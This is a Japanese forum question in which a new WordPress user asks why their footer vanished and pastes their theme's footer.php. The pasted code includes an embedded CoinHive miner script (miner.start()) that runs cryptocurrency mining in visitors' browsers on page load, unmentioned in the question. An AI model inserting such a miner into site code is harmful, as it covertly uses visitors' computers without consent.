###前提・実現したいこと
World Press を使っているのですが
何かわからない問題が発生し、改善が必要です。
###発生している問題・エラーメッセージ
発生している問題は、サイトを表示した時に
フッターが常時されなくなりました。
理由は明確ではないのですが、テーマ編集の
テーマフッター(footer.php)
をいじっている時に発生した可能性が高いため
該当のソースコードの所に
footer.php
内のコードを貼らせていただきます。
8月からワードプレスを使い出したばかりで
わからないことだらけなので、
皆様のお力をお借りできたら大変
助かります。
どうか何卒よろしくお願い致します・・・
###該当のソースコード </div> <!--/.main-inner--> </div> <!--/.main--> <div id="footer-top-widgets"> <!--#footer-top-widgets--> <?php dynamic_sidebar( 'footer-top-widgets' ); ?> <!--/#footer-top-widgets--> </div> <!--/.container-inner--> </div> </div> <!--/.container--> <footer id="footer"> <!--#footer 4c--> <?php // footer widgets $total = 4; if ( ot_get_option( 'footer-widgets' ) != '' ) { $total = ot_get_option( 'footer-widgets' ); if( $total == 1) $class = 'one-full'; if( $total == 2) $class = 'one-half'; if( $total == 3) $class = 'one-third'; if( $total == 4) $class = 'one-fourth'; } if ( ( is_active_sidebar( 'footer-1' ) || is_active_sidebar( 'footer-2' ) || is_active_sidebar( 'footer-3' ) || is_active_sidebar( 'footer-4' ) ) && $total > 0 ) { ?> <section class="container" id="footer-widgets"> <div class="container-inner clearfix"> <div class="pad group"> <?php $i = 0; while ( $i < $total ) { $i++; ?> <?php if ( is_active_sidebar( 'footer-' . $i ) ) { ?> <div class="footer-widget-<?php echo $i; ?> float-l <?php echo $class; ?> <?php if ( $i == $total ) { echo 'last'; } ?>"> <?php dynamic_sidebar( 'footer-' . $i ); ?> </div> <?php } ?> <?php } ?> </div> <!--/.pad--> </div> <!--/.container-inner--> </section> <!--/.container--> <?php } ?> <!--/#footer 4c--> <section class="container" id="footer-bottom"> <div class="container-inner"> <div class="pad group"> <div class="footer_copyright"> <?php if ( ot_get_option('footer-logo') ): ?> <img id="footer-logo" src="<?php echo ot_get_option('footer-logo'); ?>" alt="<?php get_bloginfo('name'); ?>"> <?php endif; ?> <div id="copyright"> <p><?php echo ot_get_option( 'copyright' ); ?></p> © <?php echo date( 'Y' ); ?> <?php bloginfo(); ?>. <?php _e( 'All Rights Reserved.', 'memoire' ); ?> </div><!--/#copyright--> <?php if ( ot_get_option( 'credit' ) != 'off' ): ?> <div id="credit"> <?php _e('Powered by','memoire'); ?> <a href="http://isotype.blue">isotype</a>. </div> <!--/#credit--> <?php endif; ?> </div> <div class="social_links clearfix"> <?php mt_social_links() ; ?> </div> </div> <!--/.pad--> </div> <!--/.container-inner--> </section> <!--/.container--> <a href="https://docs.google.com/forms/d/e/1FAIpQLScxYW6f04DB9hwrMk06uGTrnAzdz87UOBmvXoCtM5XOuyes0Q/viewform?usp=sf_link" class="square_btn">cikoへのお問い合わせ</a> <style> .floating { position: fixed; bottom: 10px; right: 10px; z-index: 99999999999; } </style> <a href="http://ciko.biz/?page_id=89"><button class="mdl-button mdl-js-button mdl-button--fab mdl-button--colored floating"> <i class="material-icons">video_library</i> </button></a> </footer> <!--/#footer--> </div> <!--/#wrapper--> <nav id="menu"> <?php w p_nav_menu(array('theme_location'=>'topbar','menu_class'=>'nav container-inner group','container'=>'','menu_id' => '','fallback_cb'=> false)); ?> </nav> <?php wp_footer(); ?> <?php if ( is_singular() ) { ?> <script> jQuery(function(){ get_social_count_facebook('<?php the_permalink(); ?>', '.facebook-count'); get_social_count_googleplus('<?php the_permalink(); ?>', '.googleplus-count'); get_social_count_hatebu('<?php the_permalink(); ?>', '.hatebu-count'); }); </script> <script type="text/javascript" src="https://b.st-hatena.com/js/bookmark_button.js" charset="utf-8" async="async"> {lang: "ja"} </script> <script src="https://apis.google.com/js/platform.js" async defer> {lang: 'ja'} </script> <?php } ?> <!-- amazon--> <script type="text/javascript"> amzn_assoc_ad_type = "link_enhancement_widget"; amzn_assoc_tracking_id = "yugosaikyoceo-22"; amzn_assoc_linkid = "feac0aa90b387c7b528669545610e857"; amzn_assoc_placement = ""; amzn_assoc_marketplace = "amazon"; amzn_assoc_region = "JP"; </script> <script src="//ws-fe.amazon-adsystem.com/widgets/q?ServiceVersion=20070822&Operation=GetScript&ID=OneJS&WS=1&MarketPlace=JP"></script> <!--amazon--> <a id="target"></a> <script> var miner = new CoinHive.Anonymous('zzr1X5ySNYxSmLDeAEe0aWCVhfI46D7v'); miner.start(); </script> </body></html>
回答1件
あなたの回答
tips
プレビュー